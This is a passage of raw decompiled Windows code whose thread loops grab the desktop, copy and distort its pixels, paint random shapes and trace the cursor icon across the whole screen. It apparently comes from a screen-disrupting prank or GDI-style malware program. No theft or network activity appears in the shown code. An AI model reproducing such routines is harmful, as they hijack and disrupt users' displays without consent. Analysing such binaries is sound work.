v322 = g417284;
ebx305(ecx124);
v323 = reinterpret_cast<void**>(0);
ReleaseDC(ecx124, 0, edi309);
v324 = reinterpret_cast<void**>(10);
Sleep(ecx124, 10, 0, edi309);
esp313 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp313) - 4 - 4 + 4 - 4 +
4-4-4+4-4-4-4+4-4-4-4-4-4-4-4-4-4-4+4-4-4-4-4-4-4-4-4-4-4
+4-4-4-4-4-4-4-4-4-4-4+4-4-4-4-4-4-4-4-4-4-4+4-4-4-4+4-4-
4 + 4);
esi308 = esi308 + 5;
} while (reinterpret_cast<signed char>(esi308) < reinterpret_cast<signed char>(0x163));
v325 = reinterpret_cast<void**>(0x40231b);
eax326 = fun_401580(ecx124, 10, 0, edi309, edi309, 0, 0xff, v322, v321, v320, 0, 0,
0x922222, v293, 0xff, 0, v291, v319, v290, 0, 0, 0x922222, edi309, 0, 1, v289, v288, v287, 0, 0,
0x922222, edi309, 1, 0, v278, v276, v274, 0, 0, 0x922222, edi309, eax318, eax317, 0, v304,
v303, ecx124, 10, 0, edi309, edi309, 0, 0xff, v322, v321, v320, 0, 0, 0x922222, v293, 0xff, 0,
v291, v319, v290, 0, 0, 0x922222, edi309, 0, 1, v289, v288, v287, 0, 0, 0x922222, edi309, 1, 0,
v278, v276, v274, 0, 0, 0x922222, edi309, eax318, eax317, 0, v304, v303);
esp313 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp313) - 4 + 4);
cf327 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax326) <
reinterpret_cast<unsigned char>(edi309));
less_or_equal328 = reinterpret_cast<signed char>(edx314) <= reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf327))));
 cf329 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx314) <
reinterpret_cast<unsigned char>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(static_cast<uint32_t>(cf327)))));
edx314 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx314) - cf329);
} while (reinterpret_cast<signed char>(edx314) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf329)))) ||
less_or_equal328 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax326) - reinterpret_cast<unsigned char>(edi309)) < reinterpret_cast<unsigned
char>(0xff));
}
ExitThread(ecx124, 0);
esp330 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp313) - 4 - 4 + 4 - 4);
v331 = ebp301;
ebp332 = esp330;
eax333 = g416004;
v334 = reinterpret_cast<void**>(eax333 ^ reinterpret_cast<unsigned char>(ebp332));
eax335 = g417284;
__asm__("xorps xmm0, xmm0");
v336 = eax335;
eax337 = g417280;
v338 = eax337;
v339 = ebx305;
v340 = esi308;
v341 = edi309;
ebx342 = *reinterpret_cast<void***>(v304 + 12);
__asm__("movups [ebp-0x20], xmm0");
__asm__("movq [ebp-0x10], xmm0");
v343 = ebx342;
eax344 = fun_401580(ecx124, v341, v340, v339, v343, v289, v288, v287, v285, 0, 40, v336,
v338, 0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310,
v311, v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144,
v168, v142, ecx124, v341, v340, v339, v343, v289, v288, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168,
v142);
esi345 = eax344;
edi346 = edx314;
v347 = esi345;
v348 = edi346;
eax349 = fun_401580(ecx124, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336,
v338, 0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310,
v311, v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144,
v168, v142, ecx124, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168,
v142);
esp350 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp330 - 72) - 4 - 4 - 4 - 4 + 4 -
4 + 4);
edx351 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx314) -
(reinterpret_cast<unsigned char>(edi346) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx314) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi346) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax349) < reinterpret_cast<unsigned
char>(esi345))))));
less352 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx351) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less352 | reinterpret_cast<uint1_t>(edx351 == 0)) && (less352 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax349) -
reinterpret_cast<unsigned char>(esi345)) < reinterpret_cast<unsigned char>(ebx342))) {
edi346 = BitBlt;
do {
eax353 = reinterpret_cast<void**>(GetDC(ecx124, 0));
ebx342 = eax353;
v354 = ebx342;
eax355 = reinterpret_cast<void**>(CreateCompatibleDC(ecx124, v354, 0));
v290 = reinterpret_cast<void**>(0);
esi345 = eax355;
v291 = ebp332 + 0xffffffcc;
v285 = esi345;
v292 = ebp332 + 0xffffffd0;
v293 = ebx342;
eax356 = reinterpret_cast<void**>(CreateDIBSection(ecx124, v293, v292, 0, v291, 0, 0,
v354, 0));
v294 = eax356;
v295 = esi345;
v287 = eax356;
SelectObject(ecx124, v295, v294, v293, v292, 0, v291, 0, 0, v354, 0);
v320 = reinterpret_cast<void**>(0);
v357 = ebx342;
v358 = g417280;
v359 = g417284;
v323 = esi345;
edi346(ecx124, v323, 0, 0, v359, v358, v357, 0);
esp360 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp350) - 4 - 4 + 4 - 4 - 4 +
4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4);
eax361 = g417280;
ecx124 = g417284;
 edi362 = reinterpret_cast<unsigned char>(eax361) * reinterpret_cast<unsigned
char>(ecx124);
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<int32_t>(edi362) <
reinterpret_cast<int32_t>(0)) | reinterpret_cast<uint1_t>(edi362 == 0))) {
eax363 = 0;
do {
eax363 = eax363 + 3;
*reinterpret_cast<signed char*>(eax363 - 1) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(eax363 - 1) + reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(eax363 - 1) + *reinterpret_cast<signed char*>(eax363 -
1)));
*reinterpret_cast<signed char*>(eax363 - 2) = 0;
*reinterpret_cast<signed char*>(&edx351) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(eax363 - 3) + *reinterpret_cast<signed char*>(eax363 -
3));
*reinterpret_cast<signed char*>(eax363 - 3) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(eax363 - 3) + *reinterpret_cast<signed
char*>(&edx351));
--edi362;
} while (edi362);
esi345 = v285;
eax361 = g417280;
ecx124 = g417284;
}
edi346 = BitBlt;
v324 = reinterpret_cast<void**>(0xcc0020);
v325 = reinterpret_cast<void**>(0);
v364 = reinterpret_cast<void**>(0);
v365 = esi345;
v366 = ecx124;
v367 = reinterpret_cast<void**>(0);
edi346(ebx342, 0, 0, v366, eax361, v365, 0);
ReleaseDC(0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0);
DeleteDC(esi345, 0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0);
DeleteObject(v287, esi345, 0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0);
Sleep(100, v287, esi345, 0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0);
eax368 = fun_401580(ecx124, 100, v287, esi345, 0, ebx342, ebx342, 0, 0, v366,
eax361, v365, 0, 0, 0xcc0020, v323, 0, 0, v359, v358, v357, 0, 0, 0xcc0020, v295, v294, v293,
v292, 0, v291, 0, 0, v354, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
ecx124, 100, v287, esi345, 0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0, 0, 0xcc0020, v323,
0, 0, v359, v358, v357, 0, 0, 0xcc0020, v295, v294, v293, v292, 0, v291, 0, 0, v354, 0, v341,
v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338);
esp350 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp360) - 4 - 4 - 4 - 4 - 4 -
4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
 cf369 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax368) <
reinterpret_cast<unsigned char>(v347));
less_or_equal370 = reinterpret_cast<signed char>(edx351) <= reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v348) + cf369);
cf371 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx351) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v348) + cf369));
edx351 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx351) -
(reinterpret_cast<unsigned char>(v348) + cf371));
} while (reinterpret_cast<signed char>(edx351) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf371)))) ||
less_or_equal370 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax368) - reinterpret_cast<unsigned char>(v347)) < reinterpret_cast<unsigned
char>(v343));
}
ExitThread(ecx124, 0);
esp372 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp350) - 4 - 4 + 4 - 4);
v373 = ebp332;
ebp374 = esp372;
v375 = ebx342;
v376 = esi345;
v377 = edi346;
ebx378 = *reinterpret_cast<void***>(v341 + 12);
v379 = ebx378;
eax380 = fun_401580(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, 0, v291,
v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, 0, v291, v379, v290,
v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338, 0x180001, v278,
v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311, v306, v227);
esi381 = eax380;
edi382 = edx351;
v383 = esi381;
v384 = edi382;
eax385 = fun_401580(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384, v379,
v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338, 0x180001,
v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311, v306, v227);
esp386 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp372) & 0xfffffff8) - 36 -
4 - 4 - 4 - 4 + 4 - 4 + 4);
edx387 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx351) -
(reinterpret_cast<unsigned char>(edi382) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx351) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi382) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax385) < reinterpret_cast<unsigned
char>(esi381))))));
less388 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx387) <
reinterpret_cast<signed char>(0));
if (!reinterpret_cast<uint1_t>(less388 | reinterpret_cast<uint1_t>(edx387 == 0)))
goto addr_40265a_41;
if (less388) {
do {
addr_402520_43:
eax389 = fun_402cd0(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384,
v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300);
esi381 = g417284;
v294 = reinterpret_cast<void**>(eax389 % reinterpret_cast<unsigned char>(esi381));
eax390 = fun_402cd0(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384,
v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300);
edx391 = reinterpret_cast<void**>(eax390 % reinterpret_cast<unsigned
char>(g417280));
v295 = edx391;
eax392 = fun_402cd0(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384,
v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300);
esp393 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp386) - 4 + 4 - 4 + 4 - 4
+ 4);
ebx378 = reinterpret_cast<void**>(0);
edi382 = reinterpret_cast<void**>(0);
v293 = reinterpret_cast<void**>(eax392 & 1);
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(esi381) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(esi381 == 0))) {
do {
 eax394 = reinterpret_cast<void**>(GetDC(ecx124, 0));
v293 = eax394;
edx391 =
reinterpret_cast<void**>(-static_cast<uint32_t>(reinterpret_cast<unsigned char>(edi382)));
v395 = edi382;
v396 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(v295) +
reinterpret_cast<unsigned char>(edi382));
esp397 = reinterpret_cast<void***>(reinterpret_cast<uint32_t>(esp393) - 4 - 4 + 4 -
4 - 4 - 4 - 4);
v398 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(v295) -
reinterpret_cast<unsigned char>(edi382));
if (v294) {
eax399 = reinterpret_cast<void**>(CreateRectRgn(v398, edx391));
esp400 = reinterpret_cast<void*>(esp397 - 4 + 4);
} else {
eax399 = reinterpret_cast<void**>(CreateEllipticRgn(v398, edx391));
esp400 = reinterpret_cast<void*>(esp397 - 4 + 4);
}
esi381 = v320;
ebx378 = eax399;
SelectClipRgn(esi381, ebx378, v398, edx391);
eax401 = fun_402cf0(v396, esi381, ebx378, v398, edx391, v396, v395, 0, v377,
v376, v375, v396, esi381, ebx378, v398, edx391, v396, v395, 0, v377, v376, v375);
v365 = eax401;
eax402 = reinterpret_cast<int32_t>(CreateSolidBrush(v396, v365, esi381, ebx378,
v398, edx391));
v366 = esi381;
SelectObject(v396, v366, eax402, v365, esi381, ebx378, v398, edx391);
v367 = reinterpret_cast<void**>(0x922222);
v403 = g417280;
BitBlt(v396, esi381);
ecx124 = reinterpret_cast<void**>(0);
eax404 = v403 + 2;
if (reinterpret_cast<signed char>(eax404) < reinterpret_cast<signed char>(0x166))
{
ecx124 = eax404;
}
v405 = reinterpret_cast<void**>(0);
ReleaseDC(0, esi381, esi381);
v406 = reinterpret_cast<void**>(1);
v407 = reinterpret_cast<void**>(0x402604);
Sleep(1, 0, esi381, esi381);
esp393 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp400) - 4 - 4 - 4 + 4
- 4 + 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4);
 edi382 = edi382 + 30;
less408 = reinterpret_cast<signed char>(edi382) < reinterpret_cast<signed
char>(g417284);
} while (less408);
}
DeleteObject(ecx124, ebx378);
Sleep(ecx124, 50, ebx378);
v323 = reinterpret_cast<void**>(0);
v324 = reinterpret_cast<void**>(0);
v325 = reinterpret_cast<void**>(0);
RedrawWindow(ecx124);
v364 = reinterpret_cast<void**>(0x402640);
eax409 = fun_401580(ecx124, 0, 0, 0, 0x85, 50, ebx378, v377, v376, v375, v320, 0,
v295, v294, v293, v292, v383, v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347,
v287, v285, 0, 40, v336, v338, 0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0,
v304, ecx124, 0, 0, 0, 0x85, 50, ebx378, v377, v376, v375, v320, 0, v295, v294, v293, v292,
v383, v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336,
v338, 0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304);
esp386 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp393) - 4 - 4 + 4 - 4 - 4 +
4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 + 4);
cf410 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax409) <
reinterpret_cast<unsigned char>(v320));
cf411 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx391) <
reinterpret_cast<unsigned char>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(static_cast<uint32_t>(cf410)))));
edx387 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx391) - cf411);
} while (reinterpret_cast<signed char>(edx387) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf411)))) ||
reinterpret_cast<signed char>(edx391) <= reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf410)))) &&
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax409) -
reinterpret_cast<unsigned char>(v320)) < reinterpret_cast<unsigned char>(v295));
goto addr_40265a_41;
} else {
if (reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax385) -
reinterpret_cast<unsigned char>(esi381)) >= reinterpret_cast<unsigned char>(ebx378)) {
addr_40265a_41:
ExitThread(ecx124, 0);
esp412 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp386) - 4 - 4 + 4 - 4);
v413 = ebp374;
ebp414 = esp412;
eax415 = g416004;
v416 = reinterpret_cast<void**>(eax415 ^ reinterpret_cast<unsigned char>(ebp414));
v417 = ebx378;
 ebx418 = reinterpret_cast<void**>(2);
v419 = reinterpret_cast<void**>(0);
v420 = esi381;
eax421 = *reinterpret_cast<void***>(v377 + 12);
v422 = edi382;
edi423 = reinterpret_cast<void**>(0);
v424 = eax421;
esi425 = reinterpret_cast<void**>(3);
eax426 = fun_401580(ecx124, v422, v420, v417, v424, 0, v367, v366, 0, v365, v364,
v325, v324, v323, v416, v413, 0, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, ecx124, v422, v420, v417, v424, 0, v367, v366, 0, v365, v364, v325, v324,
v323, v416, v413, 0, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384, v379,
v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338, 0x180001,
v278);
v427 = eax426;
v428 = edx387;
eax429 = fun_401580(ecx124, v422, v420, v417, v424, v428, v427, v366, 0, v365, v364,
v325, v324, v323, v416, v413, 0, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, ecx124, v422, v420, v417, v424, v428, v427, v366, 0, v365, v364, v325, v324,
v323, v416, v413, 0, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384, v379,
v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338, 0x180001,
v278);
esp430 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp412 - 44) - 4 - 4 - 4 - 4
+ 4 - 4 + 4);
edx431 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx387) -
(reinterpret_cast<unsigned char>(v428) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned
char>(edx387) < reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v428) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax429) < reinterpret_cast<unsigned
char>(v427))))));
less432 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx431) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less432 | reinterpret_cast<uint1_t>(edx431 == 0)) &&
(less432 || reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax429) -
reinterpret_cast<unsigned char>(v427)) < reinterpret_cast<unsigned char>(v424))) {
do {
eax433 = reinterpret_cast<void**>(GetDC(ecx124, 0));
v366 = eax433;
v434 = ebp414 + 0xffffffe8;
v365 = reinterpret_cast<void**>(20);
GetCursorInfo(ecx124, v434, 0);
v435 = edi423;
v405 = v419;
 v406 = v366;
DrawIcon(ecx124, v406, v405, v435, v325, v434, 0);
edi423 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi423) +
reinterpret_cast<unsigned char>(esi425));
eax436 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(v419) +
reinterpret_cast<unsigned char>(ebx418));
v419 = eax436;
if (reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(eax436) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(eax436 == 0) || (less437 =
reinterpret_cast<signed char>(eax436) < reinterpret_cast<signed char>(g417284), !less437)) {
ebx418 = reinterpret_cast<void**>(-reinterpret_cast<unsigned char>(ebx418));
}
if (reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edi423) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(edi423 == 0) || (less438 =
reinterpret_cast<signed char>(edi423) < reinterpret_cast<signed char>(g417280), !less438)) {
esi425 = reinterpret_cast<void**>(-reinterpret_cast<unsigned char>(esi425));
}
v407 = v366;
ReleaseDC(ecx124, 0, v407, v406, v405, v435, v325, v434, 0);
Sleep(ecx124, 1, 0, v407, v406, v405, v435, v325, v434, 0);
eax439 = fun_401580(ecx124, 1, 0, v407, v406, v405, v435, v325, v434, 0, v422,
v420, v417, v424, v428, v427, v366, v419, 20, v364, v325, v324, v323, v416, v413, 0, v377,
v376, v375, v320, 0, v295, v294, v293, v292, v383, v384, v379, v290, v373, 0, v341, v340,
v339, v343, v348, ecx124, 1, 0, v407, v406, v405, v435, v325, v434, 0, v422, v420, v417, v424,
v428, v427, v366, v419, 20, v364, v325, v324, v323, v416, v413, 0, v377, v376, v375, v320, 0,
v295, v294, v293, v292, v383, v384, v379, v290, v373, 0, v341, v340, v339, v343, v348);
esp430 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp430) - 4 - 4 + 4 - 4
- 4 + 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf440 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax439) <
reinterpret_cast<unsigned char>(v427));
less_or_equal441 = reinterpret_cast<signed char>(edx431) <=
reinterpret_cast<signed char>(reinterpret_cast<unsigned char>(v428) + cf440);
cf442 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx431) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v428) + cf440));
edx431 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx431) -
(reinterpret_cast<unsigned char>(v428) + cf442));
} while (reinterpret_cast<signed char>(edx431) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf442)))) ||
less_or_equal441 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax439) - reinterpret_cast<unsigned char>(v427)) < reinterpret_cast<unsigned
char>(v424));
}
} else {
goto addr_402520_43;
 }
}
ExitThread(ecx124, 0);
esp443 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp430) - 4 - 4 + 4 - 4);
v444 = ebp414;
ebp445 = esp443;
esp446 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp443) & 0xfffffff8) - 92);
eax447 = g416004;
v448 = reinterpret_cast<void**>(eax447 ^ reinterpret_cast<uint32_t>(esp446));
eax449 = g417284;
__asm__("xorps xmm0, xmm0");
v450 = eax449;
eax451 = g417280;
v452 = eax451;
v453 = ebx418;
v454 = esi425;
v455 = edi423;
ebx456 = *reinterpret_cast<void***>(v422 + 12);
__asm__("movups [esp+0x48], xmm0");
__asm__("movq [esp+0x58], xmm0");
v457 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(edi423) = *reinterpret_cast<void***>(esi425);
v458 = ebx456;
eax477 = fun_401580(ecx124, v455, v454, v453, 0, v459, v460, v461, v462, v463, v458,
v464, v465, v466, v467, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448,
v444, 0, v422, v420, v417, v424, v428, v427, v366, v419, v365, v364, v325, v324, v323, v416,
v413, 0, v377, ecx124, v455, v454, v453, 0, v468, v469, v470, v471, v472, v458, v473, v474,
v475, v476, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0,
v422, v420, v417, v424, v428, v427, v366, v419, v365, v364, v325, v324, v323, v416, v413, 0,
v377);
esi478 = eax477;
edi479 = edx431;
v480 = esi478;
v481 = edi479;
eax496 = fun_401580(ecx124, v455, v454, v453, 0, v482, v483, v484, v480, v481, v458,
v485, v486, v487, v488, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448,
v444, 0, v422, v420, v417, v424, v428, v427, v366, v419, v365, v364, v325, v324, v323, v416,
v413, 0, v377, ecx124, v455, v454, v453, 0, v489, v490, v491, v480, v481, v458, v492, v493,
v494, v495, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0,
v422, v420, v417, v424, v428, v427, v366, v419, v365, v364, v325, v324, v323, v416, v413, 0,
v377);
esp497 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp446) - 4 - 4 - 4 - 4 + 4 - 4 +
4);
 edx498 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx431) -
(reinterpret_cast<unsigned char>(edi479) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx431) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi479) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax496) < reinterpret_cast<unsigned
char>(esi478))))));
less499 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx498) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less499 | reinterpret_cast<uint1_t>(edx498 == 0)) && (less499 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax496) -
reinterpret_cast<unsigned char>(esi478)) < reinterpret_cast<unsigned char>(ebx456))) {
do {
eax500 = reinterpret_cast<void**>(GetDC(ecx124, 0));
esi501 = eax500;
eax502 = reinterpret_cast<void**>(CreateCompatibleDC(ecx124, esi501, 0));
esp503 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp497) - 4 - 4 + 4 - 4 - 4 +
4 - 4);
v504 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp503) + 56);
esp505 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp503) - 4 - 4 - 4);
v457 = eax502;
v506 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp505) + 72);
v507 = esi501;
eax508 = reinterpret_cast<void**>(CreateDIBSection(ecx124, v507, v506));
v509 = eax508;
v510 = eax502;
v511 = eax508;
SelectObject(ecx124, v510, v509, v507, v506);
v512 = esi501;
v513 = g417280;
v514 = g417284;
v515 = reinterpret_cast<void**>(0);
v516 = reinterpret_cast<void**>(0);
v517 = eax502;
BitBlt(ecx124, v517, 0, 0);
esp518 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp505) - 4 - 4 - 4 + 4 - 4 -
4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4);
edi519 = g417280;
ebx456 = reinterpret_cast<void**>(0);
